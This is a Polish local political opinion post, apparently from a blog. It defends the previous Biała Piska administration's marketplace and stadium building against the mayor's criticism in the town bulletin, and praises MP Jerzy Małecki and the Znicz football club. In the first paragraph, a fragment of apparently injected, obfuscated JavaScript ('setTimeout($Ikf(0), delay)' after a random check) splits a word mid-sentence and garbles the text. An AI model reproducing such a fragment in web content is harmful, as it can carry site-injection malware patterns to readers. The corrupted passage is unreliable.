Budynek przy stadionie mocno skrytykowany przez panią burmistrz.

Nie wiem jak to się wczoraj stało, ale jakoś przegapiłem tekst z samego dołu drugiej strony. Sądząc po tonie tej wypowiedzi pisała go burmistrz redaktor. Oczywiście znowu jest źle, bo zrobili to poprzednicy, którzy uzyskali na dwie inwestycje prawie 50% dofinansowania. Nie tak jak pani burmistrz na drogę do Danowa 20%, ale to będzie sukces. Pani burmistrz zastanawia się czy targowisko było tak bardzo potrzebne, żeby wydać na nie 1,8 mln złotych? Oczywiście, że lepiej było, gdy było klepisko i błoto. Lepiej dla ludzi i osób handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlujących. Może pani ludzi zapyta czy było potrzebne. Skoro pani uważa, że można to było zrobić inaczej, w mniejszym zakresie i za mniejsze pieniądze, to zobaczymy jak pani zrobi swoje inwestycje ułatwiające życie ludziom. Będą jakieś? Kiedy? A to, że korzystamy z targowiska raz w tygodniu, nie zmienia chyba faktu, że nie jesteśmy bydłem i chcemy korzystać z tego miejsca w schludnych warunkach. Chyba, że to komuś przeszkadza. Najbardziej chyba przeszkadza fakt, że zrobili to poprzednicy.

Ale dopiero podsumowanie drugiej inwestycji, czyli budynku przy stadionie, to jest hit. Ale na wstępie pani burmistrz przyznaje, że idea tej inwestycji nie była aż tak fatalna! Dziękujemy łaskawa pani. Przy pani wszystkich trafionych inwestycjach, ta rzeczywiście wygląda blado. To, że budynek kosztował w budowie 1,3 mln zł. to fakt, ale spełnia normy PZPN dla zespołów I ligi, więc wyprzedza czas o epokę. Ministerstwo Sportu i Turystyki dofinansowało tą budowę, dzięki staraniom poprzedniego burmistrza i walce o pieniądze, którą stoczył poseł Jerzy Małecki. Ciekawe jak się czuje pan poseł czytając słowa pani burmistrz. Panie pośle kiedyś usłyszy pan dziękuję. Piłkarze Znicza i kibice tej drużyny są panu bardzo wdzięczni. Mieszkańcy też są zadowoleni, tylko władza niekoniecznie, bo drogo.

Oczywiście pada zarzut, do poprzedników, że nie było pomysłu na to jak wykorzystać w pełni ten budynek. A skąd pani to wie? To, że coś nie jest zapisane, wcale nie oznacza, że nie jest pomyślane. Ale skoro tak pani krytykuje poprzedników za wszystko, to niech pani wytęży umysł i sama coś wymyśli. Szkoda, że nie pomyślano o panelach fotowoltaicznych pisze pani burmistrz redaktor. Jaka szkoda? A czemu pani o tym nie pomyślała? Był na to prawie cały rok, a programy finansowe na panele są nadal dostępne. Na co pani czeka?

10 października na stronie facebook Urzędu Miejskiego pani burmistrz napisała następujące słowa, cytuję „(...) - Piłkarze swoją postawą znakomicie nawiązali do ważnego wydarzenia, jakim było otwarcie nowego budynku. Biała Piska zyskała kolejną wizytówkę, a stadion pięknieje z roku na rok. Zgadza się. Budynek oddaliśmy niemal miesiąc temu, cały czas są jeszcze pewnie braki dotyczące wyposażenia, natomiast najistotniejsze jest to, że Znicz już mógł z niego skorzystać i przyjąć gości. Po rozmowie z prezesem Jackiem Jankowskim wiem, że Legia była mile zaskoczona warunkami, jakie zastała. Teraz najważniejsze, by obiekt dobrze wykorzystywać i iść dalej (...)”.

Okazuje się, że było już otwarcie budynku! Ilu przedstawicieli ministerstwa sportu było na otwarciu? Teraz pewnie okaże się, że to było nieoficjalne otwarcie, a oficjalne dopiero będzie. Nie ma opcji napisała pani, że otwarcie było, więc było. Dlaczego nie było ludzi, którzy pomogli znaleźć pieniądze i którzy je dali? Mam na myśli na przykład poprzedniego burmistrza. Dlaczego? Pytanie retoryczne. Rozumiem, że Radni to też tylko wybrani załapali się na otwarcie, bo pytałem kilku i nic nie wiedzieli.

Ciekawe też jak czują się dzisiaj piłkarze Znicza, którzy przeczytali w „Biuletynie”, że w za drogim budynku się do meczów przygotowują. Fajna nagroda za 2 miejsce w tabeli III ligi. Fajne docenienie za poświęcenie i grę. Pan prezes Jacek Jankowski pewnie widzi, że jego trud jest doceniony. Panie prezesie niech pan robi swoje. Panu akurat wszystko się udaje i jesteśmy z pana i chłopaków ze Znicza dumni. Jesteście naszą chlubą i to jest wielki honor mieć Was w naszym mieście. A tekstem z „Biuletynu” proszę się nie przejmować i robić dalej Waszą robotę.